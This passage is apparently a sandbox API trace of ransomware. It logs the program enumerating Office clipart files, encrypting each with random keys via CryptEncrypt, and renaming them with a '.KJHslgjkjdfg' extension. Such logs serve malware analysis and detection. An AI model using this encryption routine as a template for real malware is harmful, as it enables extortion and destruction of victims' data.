dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.086] GetProcessHeap () returned 0x2a0000 [0191.086] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.086] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.086] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.088] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.088] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.088] GetProcessHeap () returned 0x2a0000 [0191.088] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.088] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.088] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.088] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.089] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.089] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.089] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.089] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.089] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.089] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.089] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa68, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa68, lpOverlapped=0x0) returned 1 [0191.089] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa70, dwBufLen=0xa70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa70) returned 1 [0191.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.089] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa70, lpOverlapped=0x0) returned 1 [0191.089] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.089] SetEndOfFile (hFile=0x114) returned 1 [0191.092] GetProcessHeap () returned 0x2a0000 [0191.092] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.092] GetProcessHeap () returned 0x2a0000 [0191.092] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.kjhslgjkjdfg")) returned 1 [0191.094] CloseHandle (hObject=0x114) returned 1 [0191.094] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3963e00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3963e00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02276_.WMF", cAlternateFileName="")) returned 1 [0191.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.095] GetProcessHeap () returned 0x2a0000 [0191.095] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.095] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.095] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.095] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.097] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.097] GetProcessHeap () returned 0x2a0000 [0191.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.097] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.097] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.097] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.097] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.098] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.098] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.098] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.098] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.098] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30e4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30e4, lpOverlapped=0x0) returned 1 [0191.099] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30f0) returned 1 [0191.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.099] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30f0, lpOverlapped=0x0) returned 1 [0191.099] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.099] SetEndOfFile (hFile=0x114) returned 1 [0191.101] GetProcessHeap () returned 0x2a0000 [0191.101] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.101] GetProcessHeap () returned 0x2a0000 [0191.101] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.kjhslgjkjdfg")) returned 1 [0191.103] CloseHandle (hObject=0x114) returned 1 [0191.103] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e7d7f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e7d7f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x17a1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02413_.WMF", cAlternateFileName="")) returned 1 [0191.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.105] GetProcessHeap () returned 0x2a0000 [0191.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.105] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.105] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.105] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.107] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.107] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.107] GetProcessHeap () returned 0x2a0000 [0191.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.107] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.107] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.107] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.107] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.107] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.107] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.108] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.108] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.108] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17a1c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x17a1c, lpOverlapped=0x0) returned 1 [0191.109] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17a20, dwBufLen=0x17a20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17a20) returned 1 [0191.110] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.110] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17a20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x17a20, lpOverlapped=0x0) returned 1 [0191.111] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.111] SetEndOfFile (hFile=0x114) returned 1 [0191.114] GetProcessHeap () returned 0x2a0000 [0191.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.114] GetProcessHeap () returned 0x2a0000 [0191.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.114] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.kjhslgjkjdfg")) returned 1 [0191.116] CloseHandle (hObject=0x114) returned 1 [0191.116] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9503b100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9503b100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02431_.WMF", cAlternateFileName="")) returned 1 [0191.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.117] GetProcessHeap () returned 0x2a0000 [0191.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.117] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.118] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.118] GetProcessHeap () returned 0x2a0000 [0191.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.118] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.118] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.118] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.120] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.120] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.120] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.120] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.120] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.120] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.120] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x670, lpOverlapped=0x0) returned 1 [0191.120] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x670, dwBufLen=0x670 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x670) returned 1 [0191.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.120] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x670, lpOverlapped=0x0) returned 1 [0191.120] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.120] SetEndOfFile (hFile=0x114) returned 1 [0191.122] GetProcessHeap () returned 0x2a0000 [0191.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.122] GetProcessHeap () returned 0x2a0000 [0191.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.kjhslgjkjdfg")) returned 1 [0191.124] CloseHandle (hObject=0x114) returned 1 [0191.124] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937fbc00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x937fbc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02437_.WMF", cAlternateFileName="")) returned 1 [0191.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.125] GetProcessHeap () returned 0x2a0000 [0191.125] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.125] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.125] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.127] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.127] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.127] GetProcessHeap () returned 0x2a0000 [0191.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.127] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.127] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.127] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, 